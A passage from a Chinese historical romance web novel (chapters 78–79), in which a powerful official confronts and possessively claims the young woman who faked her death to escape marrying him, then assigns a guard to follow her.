“哎呀,这是个误会。” “真的,你听我解释好不好嘛?” “咱们进屋…进屋说。” 长剑在男子手中握紧,寒光闪烁,冷意逼人,晏时锦垂眼,兀的冷笑一声: “说什么?” “说你的床帏之欢?” 纪云瑟闭了闭眼,再说不下去,这厮,他怎么听风就是雨啊!她又看了一眼崇陶和效猗离开的方向,竟然连雪影和金虎都不放过。 有病吧! “你…你,你先放开我!” 纪云瑟的语气略带了几分不耐烦,她已经没耐心跟这个无理取闹的男人辩解什么了。 她跟他又没定亲,就算自己骗了他假死逃跑,他也没资格这么对她! 男子的耐心也似乎耗尽,睥睨了她一眼,手中的剑刃晃了晃: “都舍不得?” “那我来替你做决定?” “不要!” 一声疾呼从少女被捏紧的唇齿间呼出,她不禁抓住了晏时锦的衣袖,也终于道出了事情的关键: “我跟他们一点关系都没有!” 剑刃忽的顿住,男子的眸光微闪,轻笑了一声: “没关系?” “那他们是如何侍奉枕席的?” 语气令人莫名生寒: “还是,跟你有关系的还没过来?” “对了,今晚,你点名要雪影侍奉。” 纪云瑟: “……” 竟然偷听到了她们在马车里的谈话?这王八羔子真的跟踪她! 男子的话锋随着剑锋急转: “人呢?” “还不带过来?!” 紫电被自家大人的怒火所震慑,僵了一瞬后,道: “属下去看看!” 剑刃反射着院内的烛光,闪过少女的眼眸,纪云瑟闭了闭眼,语气也跟着冷了下来,: “连雪影和金虎你也不放过是吧?” “好!” “等崇陶和效猗把它们抱过来,你去杀!” “连带着我一起,杀干净,一了百了!” 晏时锦只觉一股血气从心口涌出,好啊!为了几个面首,用自己的命威胁他? 男子的黑眸骤然缩紧,冷冽的目光扫过来,纪云瑟也不再畏惧他什么,轻哼一声翻了个白眼不再看他。 晏时锦正待要发作,却忽的回味到她说的某个字: “抱”? 什么叫抱过来? 僵持中,一阵急促的犬吠声打破了院中的寂静,崇陶和效猗各自怀中抱着一大一小,一棕一白的两只长毛犬疾步走来,紫电神色复杂带着几分迷茫地跟在二人身后。 二人将拴着犬绳的狗儿放在地上,效猗看了一眼这番剑拔弩张的场景,只得强撑着打起精神,弱弱道: “禀…禀大人,雪影和金虎带过来了。” 她指了指身量小一些的雪白袖犬,道: “这…这是雪影。” 又指着另一只个头大的狮毛犬,道: “这是…金虎。” “汪汪汪……” 一大一小的两个东西明显察觉到几个陌生人来意不善,不甘示弱地吠叫起来,四只眼睛警惕地盯着晏时锦,极力想从效猗的手中挣脱出来,冲上去保护自家主人。 “乖乖,别叫了!” 崇陶忙上前安抚,生怕惹恼了玄衣男子,气急之下,一剑结果两个小东西。 这可是二小姐好不容易托人寻来的,专门陪自家姑娘睡觉的狗儿,乖巧又听话,幸亏有了它们,自家姑娘才能夜夜安枕。 晏时锦: “?……” 紫电觑着自家大人的神色,忙不迭道: “属下已经搜遍整个后院,的…的确没有发现别的可疑之人。” 他十分懂事地加重了“人”字的语气。若是还有人,除非早就跑了,否则,以他们三人刚入这园子的迅雷不及掩耳的动作行事,不可能逃脱。 青霜反应迅速,将那个小厮的布条重新取出,喝问道: “是否属实?” 小厮环顾了一圈,方明白他问的是什么意思,忙磕头: “属…属实!” “千…千真万确,雪影和金虎就是小小姐养的两条狗!” 他在心底叫苦不迭,吓得都要尿裤子了,老天爷,这几个到底是什么人呐?看着锦衣华服,衣冠楚楚,却又凶神恶煞,杀人不眨眼的模样,又不像官又不像贼的。 要说是谋财害命的强盗,哪有这样直接露脸也不遮掩的? 要说是找自家小姐寻仇?可为何要跟两条狗过不去? 感觉 到男子的力道突然松懈,纪云瑟随即甩开了他的手,摸了摸被他捏得酸痛的脸颊,没好气道: “还杀么?” 见他的剑刃垂落,抿唇不语,少女轻哼一声,又瞅着他不明的神色,放低了声量,道: “把他们都放了吧!” 语气平静中带着几分哀怨和恳求,还是如从前一般娇娇软软,让人忍不住就想答应,但晏时锦只是将剑收入鞘中,面无表情道: “先听听你的解释!” 说罢,他抬脚向湖边的山房走去,他早就将这园子看了个清楚,虽未入内,也能猜出,这里必定就是她的闺房。 纪云瑟一脸无语,也只得跟了上去,小跑了几步,抢在他之前进入房中,点亮了数盏烛火。 晏时锦背负双手,径直迈步入内。 有幽香扑鼻,屋子很大,桌椅妆台和书案,各式架柜和衣橱,均是清一色的老酸枝,正中的一张雕栏画梁的四柱拔步床更是极其奢华,对比她在京城纪府的逼仄小房间,简直一个天上一个地下。 怪不得要逃,富人的日子着实不错! 纪云瑟将自己日常坐的靠支摘窗的一张大圈椅往外挪了挪,道: “坐这里吧!” 她看了一眼这厮算是平静的神色,自行去斟了一杯茶过来,放在他身旁的四角方桌上。 又转身要走开,男子的声音没什么波澜: “不是要解释么?” “说!” 纪云瑟顿住脚步,转过身面对他,两只手不自觉扭着腰间香囊上坠下来的流苏穗子,撇了撇嘴: “还用我说什么?” “你不是一直跟踪我,什么都知道么?” 晏时锦饮了一口茶,目光落在面前悬着藕粉色帐帘的拔步床上,沉声道: “我想听你说,轮流侍奉枕席,是怎么回事?” “究竟如何侍奉?” 如果属实,他会毫不犹豫地亲手把所有触碰过这张床榻的男子杀个精光! 这厮… 纪云瑟尚在构思组织语言,却被男子一把抓住手腕,冷声道: “还在想如何骗我?” 纪云瑟: “……” 她怎的早没有发觉这厮是个如此偏执难缠不讲道理的主儿?深吸一口气,她只得实话实说道: “你不是也知道,我的那些侍卫,是姨母从黑市买来的么?” “罗姝是罗知府家的四小姐,她问我要人,我不能给她,又不能得罪她,只能扯了这个慌嘛!” 晏时锦蹙紧的眉心并未松开,审视的目光在她脸上流转,语气依旧冷硬: “仅此而已?” “可是,你的小厮说,的确有些时日,是由你的侍卫守着你入睡。” 纪云瑟心中暗骂,到底是哪个胆小的王八羔子出卖她?又一脸无奈地看向他: “那是守在屋外好不好?” 她看着自己被他牢牢攥住的手,只得又跟他说了一通他们一行人遇到水盗的事。 少女说到最后,眼圈泛红,带着细细的哭腔: “你不知道,那日有多可怕,到处都是强盗,一船都是血……” “从那以后,我…我就不敢一个人睡。” “就连崇陶和效猗陪着我,我也不放心,生怕又从哪里飞进来一个强盗……” “后来,姨母帮我找来雪影和金虎,有它们在我的床边守着,我才能睡着。” 见男子只盯着她不置可否,纪云瑟咬了咬唇,抽噎了一声: “不信你可以去查,随你怎么查!” 感觉到手腕的力道放松,她终于抽回了自己的手,正要走开,却被一个突然的力道拦腰拉了过去,跌坐在男子的腿上。 晏时锦手臂收紧,将她牢牢圈住,黑眸微眯,嗓音低沉: “我自然要查。不管到哪儿,你只能是我的。” “那张床,只有我能睡。” 第78章 窗棂轻颤,有凉凉的晚风拂过少女的鬓角的碎发,但却驱散不了此刻包围着她的暗暗涌动的热流。 “什…什么?” 纪云瑟瞪大了眼睛,看着面前的男子,晏时锦抬了抬眼皮,另一只手捋着她垂落的发丝,容色平静: “就算你所言属实,但…” “你已经动了让人侍奉枕席的心思,不守着你,我如何放心?” 几盏烛火的光亮从不同角度打在男子刀削斧劈般的峻朗容颜上,他肌肤光洁白皙,好似连胡子茬也看不到一星半点,下颌骨线条清晰锐利,宛如精心雕琢的一块美玉。 此刻,他眼眸中的疏离突然淡了许多,甚至在少女毫无防备的时候已经悄然带上了几分炽热。 但是这般变化却没有让纪云瑟放松下来,反而倏然察觉到了几分危险,怔了怔,她稍稍动了动被这厮箍住的腰身,却反被他扣得更紧: “做什么?” “我不是你的!我与你没有…” 余下的字被男子吞入口中,纪云瑟被巨大的力道按住动弹不得,晏时锦从唇瓣处滑出几个字: “别让我说第二次。” 唇齿相贴,若有似无的温情缱绻中,更多的是男子冷冽的气息。 纪云瑟用尽全身力气推开他,但见他肃冷的黑眸,此刻也不好与他争辩,只得垂眸眨了眨眼睛,软下音量,道: “既然都说清楚了,那是不是可以放了他们?” “不急。” 晏时锦的手轻轻滑过她的腰际,灼热的指腹温度透过薄薄的外衫传来,让纪云瑟不由自主地战栗了一下,但男子并未停下来,反而变本加厉地沿着她脊背来回抚摸: “你是不是还有什么,没有交待完?” 凭什么啊,她又不是他的犯人! 纪云瑟嘟囔道: “不是都告诉你原委了么?” “还…还要说什么?” 少女撒娇般的气音传来,晏时锦声量缓和,但眼眸中依旧有几分不善: “你觉得呢?” 纪云瑟清楚两年前的事没那么容易过去,眼下只得低下头,老老实实认错: “对不起嘛,当年我不该利用你,骗你。” “可是,我也没有别的法子,我爹要逼我做你的侧室,我不想,所以,才…才逃…” 关于她逃离京城,关键的原因自然不在这厮身上,但她不想跟他扯太多别的,特地只拣了与他有关的一部分。 晏时锦蹙眉: “谁说要让你做侧室?” 纪云瑟看了他一眼,十分委屈地红着眼圈: “你家老太太那样讨厌我,肯定不同意我嫁给你,我爹又不愿放弃你这个便宜女婿,所以,我爹便打算找你爹说,让我争取做你的侧室。” 晏时锦抬起她的下巴,让她看向自己: “你应当知道,没人能做我的主。” “为何不肯信我?” 他早就对她表明心意,也已经做好了提亲的准备,只不过正好碰上因公务需外出了一段时日,后来又是太后薨逝,种种缘由耽搁了,她为何就不能再等等? 或者,她直接告诉自己在章齐侯府里的处境,与他商量,他不管是直接出面找纪筌,还是另寻一处宅子安置她都可以,为何要自作主张地逃走? 纪云瑟倒不是不信他,而是根本不想嫁给他,哪怕是明媒正娶做他的正妻。 但这个话,她不敢说出来,今日这厮的狠辣手段她已经见识过了,这节骨眼上还是不要再激怒他,只能扯一些有的没的: “我哪知道你的心意嘛!” 晏时锦直视她闪烁不定的双眸: “是不知道还是不想面对?” “或者,你当初招惹我时,根本没想过要跟我动真格的?” 纯粹是利用他而已,利用了之后,又不愿负责。 不愧是在京卫司衙门的刑房里浸淫多年的指挥使,他的黑眸似乎能穿透人心,纪云瑟躲闪着低下脑袋不去看他,也无言以对。 晏时锦再一次用力将她搂紧,轻薄的锦缎相贴,能清楚地感知到对方的体温,一字一句,缓声 道: “但是,你既招惹了就该嫁我,想逃?” “不可能。” 声音平静,理所当然中透着不容置喙。 纪云瑟愣愣地迎上他别具深意的目光,好似猫儿好不容易逮到了她这只小老鼠,牢牢制在掌心,下一瞬就要将她一口吞掉。 她被这厮的幽厉黑眸盯得大脑突然空白,勉强挤出一抹笑: “什…什么呀!” “都不知道你在说什么。” 不知道就怪了! 晏时锦不想戳穿她。他就喜欢她凝着狡黠的眸子装乖的小模样,像一只喜欢在他面前耀武扬威的小狐狸,一旦被他制住又会戴上无辜小白兔的面具。 促狭得可爱。 让人的心发软。 所以当他知道那些不是她的面首,她并没有背叛他,了解了她出逃的缘由,便不费什么力气,轻松原谅了她从前的欺骗。 少女的脸颊泛红,或许是因为饮了不少酒的缘故,晏时锦蹙了蹙眉,他居然都不知道,她竟如此好酒! 幽香和酒香混杂,齐齐涌入鼻尖,男子深深吸了一口气: “晚膳时,喝了多少酒?” 纪云瑟僵了僵,脑子尚迷糊着,不知他为何又扯到了这个,低声道: “没喝多少。” “又扯谎!” 晏时锦轻轻捏了一把她的腰,少女身体一凛,她从未被一个男子这样搂着乱摸,刚想质问一句,又听他说道: “整顿饭吃下来,你说了不下十次‘干了!’” “至少喝了十杯,按那酒楼的杯盏大小,算下来可不少。” 被这厮牵着鼻子走的纪云瑟顿时忘了对他指责的话,听到他这么说就想试图辩解一番,却忽的被窗外灌入的一阵凉风吹得脑子晴明了一些,反应过来: “你怎么知道的?” “莫非,你就是知府大人宴请的那个京官?” 这厮发现是她在问店小二要雅间,故意让他们到六楼,方便他偷听他们说话? 他和罗知府早就熟识,所以,他出现在罗家也就不奇怪了! 这厮! 却不知,他今日是偶然碰上自己,还是这王八羔子早有预谋? 晏时锦并不打算瞒她,痛快承认: “是我。” 纪云瑟又试着挪动着,随即轻哼一声: “世子这又算什么?” “你不是都快成婚了?千里迢迢跑来这里,脚踩两只船,又是何意?” “谁说我要成婚?” 少女嘟着小嘴,在他怀里用力扭来扭去,这副哀怨的小模样,莫非就是传说中的吃醋? 见男子挑了挑眉,纪云瑟撇嘴: “晏国公府与成国公府办喜事,人尽皆知,别想骗我!” 眸光流转,娇嗔灵动,晏时锦忍不住将她的小脑袋扣过来,温唇贴近她耳畔,嗓音低沉: “国公府就我一个男丁么?” “那是我三弟的婚事。” 什么?他三弟? 呵,纪云瑟很快明白过来,定是这厮故意放出来的消息,恐怕就是想打消她的疑虑,让她不再防备,放心地出来抛头露面吧! 迎上少女微怔的目光,男子轻笑一声,轻抚刚才被他捏紧,如今还有轻微指印的脸颊,温言哄道: “无须有什么醋意。” “我的妻子只有一个,是你。” “……” 纪云瑟被他的来回抚触弄得心跳微乱,片刻后方镇定下来,嘟囔道: “别乱说!” “我…我何时成了你妻子?” “自然能算得上是父母之命,媒妁之言。” 晏时锦的唇瓣再一次贴上了她的耳垂,低语道: “两年前,我误以为我的未婚妻,纪府长女云瑟,在京城灵岩寺的禅房大火中丧生,痛心疾首之时,在两家长辈的允准下,以妻礼安葬了她。” “却不料,这次因公来江州,竟意外与她重逢。方得知,当年,烧死的是三个女贼,吾妻有幸逃脱,流落至此。” 他轻呼出的阵阵热气扑打在少女的耳畔,她的脸颊滚烫,也不知该如何反驳他的这番说辞,咬了咬唇,听他捋着她的发丝,继续道: “如今,虽历经波折造化弄人,但你我终是有缘再见,自然是天意让我们夫妻重聚。” 纪云瑟皱紧眉头,从被他重重包裹着的莫名情愫中寻到几丝理智: 原来,这厮当年明知她没有死,却堂而皇之地将假尸体安葬,而且,还是以他晏国公世子之妻的礼数安葬,是在这儿等着她呢! 就是要坐实他们的夫妻名分?! 阴险狡诈!诡计多端! 纪云瑟默默翻了个白眼,也学着他的厚颜无耻,道: “世子认错人了!我才不是什么纪府大小姐!” “我姓云,是江州黄老爷的义女!” “根本没去过京城!” 她也不想再与这厮周旋,挣扎着就要起身,却动弹不得,晏时锦手臂一紧,将她牢牢锁在怀中,低沉的嗓音极是轻松: “是么?” “当年此事是得了圣上的许可,若是细查起来,查到某些人帮着你逃走,掩人耳目,那可是欺君之罪,你确定要给他们招来祸端?” 纪云瑟愣了愣,立刻发现他这是在威胁自己,帮她逃走的人,除了沈绎,还要姨母,都是她最重要的人,她咬了咬唇: “你…你想怎样?” 男子弯了弯唇: “你知道的。” 纪云瑟还在做无谓的挣扎: “我,我不知道!” 晏时锦轻啄了一下她鲜红欲滴的唇: “如今,全天下都知晓你是我的妻子。” 掠过少女惊诧不甘的目光,他的指尖在她柔腻的脸颊上轻轻摩挲,慢条斯理地补充道: “生是我的人妻,死是我的鬼妻。” “休想再逃!” 纪云瑟看着他肃然不可质疑的黑眸,方明白自己招惹上了一个什么样的人,但她此刻悔青了肠子又有何用? 晏时锦掠过她滴溜开始乱转的狡黠眸子,轻抚她的脊背善意提醒她: “你也逃不了。” 纪云瑟欲哭无泪, “你…你要做什么?” 男子勾唇,不常露出的一丝浅笑却让少女觉得分外瘆人: “既有夫妻之名,自然要做一些夫妻该做的事。” 纪云瑟也顾不得许多,趁他的手略微放松的间隙,立时从他身上起来,一溜烟推门而逃,但门打开的刹那,脚步又立时顿住。 男子端坐圈椅上,一直保持着闲适的姿势,端着茶碗慢悠悠地饮茶,见她折返了回来,弯唇看向她。 纪云瑟泄了气: “你把他们都放了吧!” 晏时锦挑了挑眉,搁下茶碗: “什么理由呢?” 少女立马又鼓起了腮帮子,叉着腰杏眼圆睁: “什么什么理由?” “你私闯民宅,随意伤害无辜百姓,难道没有天理王法了么!” 晏时锦第一次见她如此发怒,像一只炸毛的小老虎,让人忍不住想顺一顺她身上的毛,他向后靠了靠,双手肘搁在扶手上,摇摇头道: “非也。” “是我奉命查一桩案子,追嫌疑人时眼见着他翻入了贵府,未免嫌犯逃脱,便进来抓捕,谁料贵府侍卫不问缘由,阻我办案,交手之后,让我发现他们个个武功高强,而且,身份存疑。” “所以……” “够了!” 纪云瑟皱眉打断他,深深吸了一口气,民不与官斗,况这王八羔子还是个大官,又是圣上的亲信,她有什么能力与他对抗? “要怎样才会放人?” 见她的气焰骤然熄灭,整个人没精打采下来,晏时锦倒是颇有耐心地倾身向前凑近她,眉眼极是舒展: “你应当知道,我想要什么。” 男子身后的窗外夜色沉寂,更显得这处在城郊远离喧嚣的园子安静异常。 崇陶和效猗好不容易将雪影和金虎哄好,一脸焦急地看向山房的方向,她们自然最清楚姑娘和那位世子爷的纠葛。 当初,听闻晏时锦以妻礼安葬了假尸体,就愣得半晌说不出话来,但是,当日有多感叹那位世子爷用情至深是个痴情之人,如今见他一副誓不罢休的模样寻了过来,就有多为姑娘捏一把汗! 毕竟自家姑娘那样欺骗了他,想起来都直打哆嗦。 天爷啊,他这样一个在整个大缙都能呼风唤雨的人物,如此执拗地找自家姑娘寻仇,可如何是好? 整个山房静悄悄,听不见他们两个的吵闹声,想到那位精壮世子爷的手段,姑娘不会已经被他,那个什么了吧? 怎么办?他们本就是大官,在京城里都是横着走的主儿,更何况在江州 这个小地方,知府看见他不得点头哈腰的? 况且武功又高,连破竹这样一人能杀十几个水盗的高手都可轻易制服,谁能救姑娘? 婢女仆妇和小厮们皆是吓得只剩一口气,他们苏家虽是大富人家,但一直养了一帮得力的侍卫看家护院,就算是偶尔来个小贼,也是立马被擒住,毫无还手之力。 从未见过今日这番景象! 到底是哪来的玉面强盗? 那几个侍卫可是二小姐特地为小小姐挑选的,最为精干的一拨,竟然三两下就被他两个手下制服,捆了起来。 更可怕的是,自家小小姐还被那强盗头子威胁,被押进了闺房之中,此刻都不知被糟蹋成什么样了! 真是造孽啊! 就连紫电此刻的心里也有些打鼓,他凌厉的眼神随时注意着那六个侍卫的同时,忍不住悄悄往山房透着人影的窗棂处看了几眼。 不禁默默摇了摇头,自家主子这几年变得愈发冷硬不好相与,落在别人眼里,只是说他失去心爱的姑娘,伤心欲绝,连国公爷和老夫人都不敢再提一句他的亲事。 只有他们几个亲近之人知晓,究竟是什么缘故。 谁承想,真的被主子找到了纪姑娘,他深知主子脾性,事到如今,谁的规劝对他来说都是毫无作用,除非他自己想通。 终于,山房门打开,双方人马此时倒是行动一致,目光齐齐落了过去。 片刻之后,那一对男女先后走了出来,整个院落亮堂堂,交错的光影落在两人身上,竟然有种莫名般配的错觉,像一对郎才女貌的壁人。 苏氏一众人瞧着自家姑娘全须全尾不像被欺负得很惨的模样,稍稍放下些心来,只见那玉面强盗向两个下属摆了摆手,道: “放人!” 紫电和青霜应声,先去解了小厮们身上的绳索,解到流水时,他待双手一松,立刻发起了反击。 青霜霎时又将他制住,晏时锦若有所思地看向身旁拧着眉心的少女。 纪云瑟咬了咬唇,无论如何也亲口说不出那样的话来,只得行至崇陶和效猗身旁,悄声言语了一番。 两个一路跟她走来的贴身婢女瞪大了眼睛看向她,一脸难以置信的模样,再悄悄探出脑袋,隔着自家姑娘瞧了一眼那位冷肃世子爷的脸色,复杂的表情过后,终是效猗这个漪澜苑的管事婢女向前迈了一步,轻咳了两声,抬手指了指晏时锦向六名侍卫道: “这位是,从京城来寻姑娘的姑…姑爷,不…不得无礼!” 不光是破竹等人,就连婢女小厮们都一脸愕然,瞪着眼睛张大嘴巴顿在原地。 纪云瑟抚着胀热的脸颊,就要躲进屋子里,却被身旁的男子拉住,揽过她的腰,道: “还有呢?” 纪云瑟垂着眼眸默默白了他一眼,向效猗吩咐道: “日后,我的院子里,他们一概不许进来。” “至于破竹流水几个,就守在外院罢!” 效猗循着自家姑娘的目光看过去,方明白她说的是包括小厮和侍卫们在内的所有男子,正想问两句,却忽的瞥见晏时锦幽黯的神色,忙噤了声,自去上前吩咐。 待看几个侍卫虽半信半疑,但细思了一瞬,终究在这位姑娘的贴身管事婢女的劝说下,暂时放弃了抵抗。 紫电和青霜放了几人,亲自送一行人出了小院后,方回来向自家主子复命。 纪云瑟一副你满意了吧的眼神抬眸看了一眼男子后,一甩他搭在自己肩膀上的手,径直进入屋内。 崇陶和效猗让人先把雪影和金虎送回后院,见晏时锦也跟着步入姑娘的房中,两人面面相觑,进退不是。 斗争了半晌,二人终于鼓起勇气,硬着头皮走进来,自家姑娘正坐在梳妆台前梳发,那位新“姑爷”靠在窗边的圈椅上,目不转睛地盯着她。 不得不承认,她骗他死遁逃走的这两年,比起恼怒,晏时锦更多的是午夜梦回的思念。 似乎只要他闲下来,她坐在自己书房内绾发的模样,她为他做吃食用期待的目光看着他吃光的场景,无时不刻不充斥着他的脑海。 如今失而复得,他不会让她再离开自己的视线。 效猗缓了缓神,行至纪云瑟身旁,道: “姑娘,奴婢让她们去熬醒酒汤了,您喝完后再沐浴吧?” “不必了,直接沐浴吧。” 纪云瑟神色明显不高兴,她被折腾到此刻,早就醒酒了,哪里需要浪费什么醒酒汤? 效猗看她的确不似从前一般,喝了酒之后就小脸胀红,醉眼迷离,如今看着是比常日里还清醒些,便也不勉强,答应着去给她备热水。 崇陶明显能感觉到屋子里难以言说的异样,察言观色了一番后咬了咬牙,决定打死也要留下来守着自家姑娘。 纪云瑟扔了木梳,转头看向不远处的男子,语气一点儿都不客气: “这么晚了,你到底想怎样?” 晏时锦自然地将一条腿交叠了上去,没有丝毫要离开的意思: “你我是夫妻,你说呢?” 纪云瑟: “……” “可是,你我…我们…” “那什么…” 素来自问伶牙俐齿的她,竟然一时不知该如何表达,片刻后,在男子淡然的眸光中,才勉强说道: “我们又没有正式成婚,怎…怎么能这样…” “怎么能…同塌而眠?” 晏时锦挑了挑眉: “哦?原来你想过与我同塌而眠?” “……” 纪云瑟愤而起身: “不是你说的么?!” 晏时锦淡然饮了一口早已经放凉的茶,道: “我说守着你,是你睡那儿,我睡这儿的意思。” 他指了指一旁的罗汉床,说得理所当然,没有一丝心虚,又默了片刻,道: “但是,若你想我再离你近一些,也无妨。” 男子淡然瞥过少女气得鼓起的小脸,看向一旁的崇陶,自然而然地吩咐道: “给我铺床,再帮我备水沐浴。” “要凉水。” “是,姑爷。” 崇陶被他慑人的气场唬得一时忘了自己的身份,立刻答应着就要走,待瞅见自己姑娘吃惊的神色,方反应过来,站在那儿不敢动。 纪云瑟皱了皱眉,一脸恨铁不成钢,但她也没什么资格说别人,只得掩下内心的烦躁: “拿新的被褥给他,不许给我睡过的!” 第79章 纪云瑟沐浴完便径直钻进自己的床榻里放下了帐帘,也不管晏时锦那厮,总归以他的武功手段,就算不在她的房里,随时也能进来,想对她做什么是一点儿都反抗不了,便干脆放弃抵抗,舒舒服服地睡大觉。 或许是饮了酒的缘故,这一夜竟然意外地好眠,连做了什么梦都忘了,一觉醒来,天已大亮。 她揉了揉惺忪的睡眼,舒服地伸了个懒腰,如往常一般唤道: “崇陶,给我拿衣裳。” 在掀开帷帐的一刹那,看见窗下坐着的隽挺男子,黑眸幽幽地看过来,她迷糊的脑袋方记起昨日发生了什么。 晏时锦习惯早起,自行洗漱过后照例在院中耍了半个时辰剑。睡在一旁耳房的效猗先闻见声响,透着窗缝往外瞧了一眼,打了个激灵,立刻睡意全无,推醒崇陶起来干活,伺候昨日突然冒出来的“新姑爷”去。 晏时锦换了一身干净的衣 裳,坐在窗台下的圈椅,一面喝茶一面看着邸报,就见两个婢女安静地在一旁给他收拾床榻。 罗汉床原本就短窄,放上被褥之后更显得逼仄,对他一个高硕的男子来说,空间十分局促。 但幸好床榻对于他来说,只是一个就寝之处而已,他从不挑剔,也不会成为影响他睡眠的障碍,除了…… 两封邸报看毕,拔步床内终于发出了声响,是少女娇滴滴的嗓音。 晏时锦抬眸,见她身着一件赭红的寝衣屈膝侧坐在床榻上,胸口处两片松散地随意交叠着,微微露出一抹弧度,黑发如瀑散落肩头,撩开帐帘的手臂宽袖滑落,现出一截雪白的膀子,缎面裙摆下,两只雪白的玉足不安分地跑了出来,清澈的眸子目光懵然,是他从未见过的随意慵懒模样。 像清晨里慕着朝露,落在枝桠上的一只娇软小雀儿。 他放下手中的邸报,弯了弯唇: “你醒了?” 纪云瑟瞳孔微缩,愣了片刻后,匆忙放下了帐帘,将自己的衣裳拢了拢收紧,昨夜的一幕幕涌入脑海,她拍了拍自己的额头。 怎的竟忘了这厮睡在她的房中? 崇陶默默地拿了衣裳过来,纪云瑟隔着透明的纱帐看向一动不动的男子,咬了咬唇,犹豫了片刻,终于从两片交叠的帘纱处探出个头来: “你…你能不能出去一下。” “我…我要换衣裳了。” 晏时锦低下头继续翻着邸报: “你换便是,我不看你。” 纪云瑟:我信你个鬼! 拔步床内许久没有动静,男子正要开口,却听见窗外紫电的声音: “禀世子,赤霄回来了。” 晏时锦应了一声,临走前不忘行至宽大的拔步床旁,道: “我出去一趟,不必等我回来用膳。” 纪云瑟: “……” 呵!他可真把自己当回事!随即听见了崇陶恭敬地应声: “是。” 纪云瑟抚着骤然一抽的额头,闭了闭眼。 待沉稳的脚步声走远,门重新关上的声音响起,她终于忍不住掀开帐帘,狠狠瞪了这个遇强则弯的软弱婢女一眼。 崇陶心虚地挤出一抹笑: “姑娘,奴婢伺候您更衣洗漱。” 效猗随即将早膳送来,纪云瑟心不在焉地吃完,收拾妥当后问道: “他们都走了?” 效猗自然知道姑娘所指是谁,点点头,纪云瑟道: “好,咱们也出去。” “姑娘,去铺子么?” 跟在其后的崇陶一声问话还没说完,就见步出门外的自家姑娘已经停下脚步,一个有几分熟悉的声音在姑娘面前响起: “纪姑娘久违,属下奉大人之命,白日里贴身保护姑娘。” “以后,姑娘去哪儿,属下就去哪儿。” 崇陶诧异地探出脑袋,就见是一张熟悉的英气面容, “赤霄?” 赤霄带笑颔首: “几位姑娘,好久不见。” “此刻是要出门么?” 纪云瑟一阵无语,这厮,自己走了,还不忘留个眼线!口口声声说什么白日里保护她,骗鬼吧! “对…我去绸缎庄看看。” 她顿了顿,似想起了什么,淡笑道: “还有一样东西我忘了,你等会儿,我回去拿。” 笑容瞬间从转过身的纪云瑟脸上消失,她拉着两个婢女进入房中关上门,思索一番,低声对效猗道: “你悄悄地去寻破竹,让他查一查沈夫子住在哪儿。” “告诉他赶紧离开江州。” 沈绎是因帮她才会去官出宫,如今来江州也是找她,可不能因为自己的事再连累了他。 效猗明白姑娘的意思,答应着去了,崇陶看了一眼门的方向,问道: “姑娘,那咱们,今日还…出去么?” 纪云瑟轻哧一声: “当然!我又不是晏时锦的囚犯,为何要关在这儿?” “走,咱们就去铺子里待着!” 晏时锦上了候在院外的马车,让车夫驾马,紫电坐在一侧道: “大人,青霜已经去了府衙地牢,按您的吩咐,布置一切,今夜动手。” 见他点头应了一声,又问道: “世子今日还要找罗弘么?” 晏时锦不置可否,紫电为他斟了一杯茶,道: “可他毕竟是蔚王的人,而且,据赤霄所查,偷税之事,未必没有他在后推波助澜。” 晏时锦道: “江州的盐茶生意最为出名,这里的富商,十有七八与此有关,不光是知府,从上到下的官员,没有哪个干净的。” 所以,江州府治下虽只有三个小县,但这里的职缺却是江南的官员争抢之处,甚至许多人连升任京官都不愿,为什么? 不就因为都是肥缺么? 他饮了一口茶: “罗弘此人,在江州做了多年知府,与这里的富商盘根错节,早已织了一张错综复杂的利益网。他没有表面看到的那么简单,咱们不能直接查他,而是要利用他,将这张网上的官员,一个一个揪出来。” 紫电了然,道: “属下明白,世子您是直接去知府衙门找他,还是……” 晏时锦道: “不急,先去一趟驿站,庐州的人今日该到了,等罗弘散值后去罗府找他。” “记得不要走正门,而是从他家后院的角门进。” 紫电看了一眼自家大人,俯首应声。 马车缓缓驶出小巷,不多时,破竹步出门外,他小心观察了四周,确定无人跟踪后,方向城区走去。 守在门外的小厮刚想眯着眼养一会儿神,却不知片刻之后,又见着自家小小姐一行人出门,不同以往的是,没有带随行的侍卫,而是跟着一个与昨晚的几人衣饰一样,气质相近,同样冷戾让人骇然的,女子。 那女子凌厉的目光扫过来,小厮登时一个激灵,昨晚吓得一夜没睡的困顿感瞬间被赶去了九霄云外,躬着身目送几人离开。 纪云瑟带着崇陶和效猗上了马车,原本是破竹驾马,如今,这份差事自然落在了赤霄身上。 “姑娘坐好了么?” 她贴心的问了一句,得到肯定的回答后,方利落地掉转马头。 一行人到了绸缎庄,掌柜的听闻她今日过来,倒是一脸诧异,他记得这位小东家吩咐他这两日闭门盘点,等着曾家上门。 他笑道: “小小姐不必担心,我已差人盯着曾家布庄,一有异样就来回禀,第一时间告诉您。” 纪云瑟余光瞥了一眼紧跟着的赤霄,只得故作正经道: “我来看看库房里剩下的布匹还有什么别的花样。” “再将这个月的售卖记录给我瞧一瞧,也好看看下月再去苏杭一带进些什么新料子。” 掌柜的不得不感叹: “小小姐真是用心呐!” “比咱们二小姐还心细些!” 纪云瑟干笑了两声,自然知晓这就是恭维的话,她哪能与姨母比?姨母身为苏氏所有产业的当家人,只需掌握好大方向就行,不会有闲工夫管这些琐碎之事。 她今日也是无处可去,才来这庄子里找个由头躲着。 自逃出京城后,她就一直过着自由自在的日子,苏滢虽顶着长辈的名号,但实际与她年龄差距不大,基本不约束她,有时甚至纵着她随心所欲到处乱跑,只要有人盯着安全便是。 平日里在江州,她早膳后会去几家铺子转一圈,再回漪澜苑一面吃瓜果一面看账本。 午休一个时辰后,在自家院子里荡会儿秋千,或是与崇陶效猗一起看破竹他们在湖里捞鱼抓螃蟹,有时去姨母所居的苏氏别苑泡一泡汤泉,偶尔赴宴,和罗姝几个投缘的姑娘聊一聊各家轶事,日子过得十分惬意。 可晏时锦一来,就害她在这布庄里憋了一整天,不知有多忿闷。 掌柜的见这位小东家将账本和每日盘点的售卖记录翻来覆去地来回看,不知是何意,汗都出了一头。 他抬手擦了擦拧成川字的眉心,陪笑道: “小小姐累了一日,可要歇一会儿?” 顿了顿,他 又似想起了什么,笑道: “对了,听说今日隔壁的茶楼请来了扬州知名的说书人,最擅长讲各种奇闻异事,您可要去听个新鲜?” “那儿的茶点也不错,咱们铺子里的餐食简陋,也不知您午膳吃不吃得惯。” 纪云瑟撑着脑袋,眼睛没离开账本,实话实说道: “我不喜欢喝茶。” 掌柜的干笑了两声: “也对,年轻姑娘都不喜饮茶。” 他看着账本在小东家的手里都快盘烂了,狠了狠心,又道: 